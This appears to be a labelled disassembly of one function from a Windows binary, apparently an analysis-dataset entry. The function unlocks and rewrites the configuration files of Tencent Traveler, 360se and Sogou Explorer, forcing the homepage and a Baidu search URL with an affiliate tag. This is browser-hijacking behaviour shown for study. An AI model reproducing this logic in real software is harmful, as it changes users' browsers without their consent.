Function at 0x40e5e0
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x413aa8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x48
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_4
lea edi, [esi + 0x24]
push str.TencentTencentTraveler100TtConf.dat
lea eax, [esp + 0x18]
xor ebx, ebx
push edi
push eax
mov dword [esp + 0x6c], ebx
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x64], 1
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x14]
mov byte [esp + 0x60], bl
call sub.MFC42.DLL_CString::CString
push 0x10000000
push ecx
lea edx, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
call sub.MFC42.DLL_CString::CString_2
mov ecx, esi
call fcn.00409380
mov eax, dword [esp + 0x10]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push eax
call ebp
mov ecx, dword [esp + 0x10]
and al, 0xfe
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, dword [esp + 0x10]
mov eax, dword [esi + 0x44]
push edx
push eax
push str.strHomePageUrl
push str.COMMON
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push str.360se360se.ini
lea eax, [esp + 0x18]
push edi
push eax
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x64], 2
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x14]
mov byte [esp + 0x60], bl
call sub.MFC42.DLL_CString::CString
push 0x10000000
push ecx
lea edx, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
call sub.MFC42.DLL_CString::CString_2
mov ecx, esi
call fcn.00409380
mov eax, dword [esp + 0x10]
push eax
call ebp
mov ecx, dword [esp + 0x10]
and al, 0xfe
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [esi + 0x44]
mov edx, dword [esp + 0x10]
push edx
push eax
push str.HomePage
push str.option
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov eax, dword [esp + 0x10]
push eax
push str.1::http:__www.baidu.com_baidu_word_ustnleizhen_dgieutf_8::b::http:__www.baidu.com_s_tnleizhen_dg
push 0x41944c
push str.Search
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push str.SogouExplorerConfig.xml
lea ecx, [esp + 0x18]
push edi
push ecx
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x64], 3
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x14]
mov byte [esp + 0x60], bl
call sub.MFC42.DLL_CString::CString
push 0x10000000
push ecx
lea edx, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x20], esp
push edx
call sub.MFC42.DLL_CString::CString_2
mov ecx, esi
call fcn.00409380
mov eax, dword [esp + 0x10]
push eax
call ebp
mov ecx, dword [esp + 0x10]
and al, 0xfe
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString_4
lea ecx, [esp + 0x20]
mov byte [esp + 0x60], 4
call sub.MFC42.DLL_CString::CString_4
mov dword [esp + 0x48], ebx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x4c], ebx
push ebx
lea ecx, [esp + 0x20]
mov byte [esp + 0x64], 7
call fcn.00402b30
mov dword [esp + 0x44], ebx
mov edx, dword [esp + 0x10]
push ecx
mov eax, esp
lea ecx, [esp + 0x20]
mov byte [esp + 0x64], 8
mov dword [esp + 0x1c], esp
mov dword [eax], edx
call fcn.00402bb0
cmp al, bl
je 0x40e86a
push ecx
mov dword [esp + 0x28], ebx
mov eax, esp
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x3c], ebx
lea ecx, [esp + 0x20]
mov dword [esp + 0x1c], esp
mov dword [eax], str.main
call fcn.00403050
cmp al, bl
je 0x40e854
lea ecx, [esp + 0x1c]
call fcn.00403fd0
push ecx
lea ecx, [esp + 0x20]
mov eax, esp
mov dword [esp + 0x1c], esp
mov dword [eax], str.Item
call fcn.00403050
cmp al, bl
je 0x40e854
mov esi, dword [esi + 0x44]
push ecx
mov dword [esp + 0x1c], esp
mov eax, esp
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push str.homepage
mov dword [eax], esi
call fcn.00405ab0
lea ecx, [esp + 0x24]
call fcn.0040e940
push ecx
mov ecx, dword [esp + 0x14]
mov eax, esp
mov dword [esp + 0x1c], esp
mov dword [eax], ecx
lea ecx, [esp + 0x20]
call fcn.00402df0
mov edx, dword [esp + 0x50]
xor esi, esi
dec edx
mov byte [esp + 0x60], 0xa
sar edx, 0x10
inc edx
test edx, edx
jle 0x40e89c
mov eax, dword [esp + 0x4c]
mov eax, dword [eax + esi*4]
push eax
call sub.MFC42.DLL_operatordelete
mov ecx, dword [esp + 0x54]
add esp, 4
inc esi
dec ecx
sar ecx, 0x10
inc ecx
cmp esi, ecx
jl 0x40e87e
mov eax, dword [esp + 0x4c]
cmp eax, ebx
je 0x40e8ad
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [esp + 0x48]
cmp ecx, ebx
je 0x40e8f0
xor edi, edi
mov eax, dword [edi + ecx]
cmp eax, ebx
je 0x40e8df
mov edx, dword [eax - 4]
lea esi, [eax - 4]
push 0x402b20
push edx
push 0xc
push eax
call fcn.004123ff
push esi
call sub.MFC42.DLL_operatordelete
mov ecx, dword [esp + 0x4c]
add esp, 4
add edi, 4
cmp edi, 0x1c
jl 0x40e8b7
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
lea ecx, [esp + 0x20]
mov dword [esp + 0x48], ebx
mov byte [esp + 0x60], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x60], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov dword [esp + 0x60], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x58]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x54
ret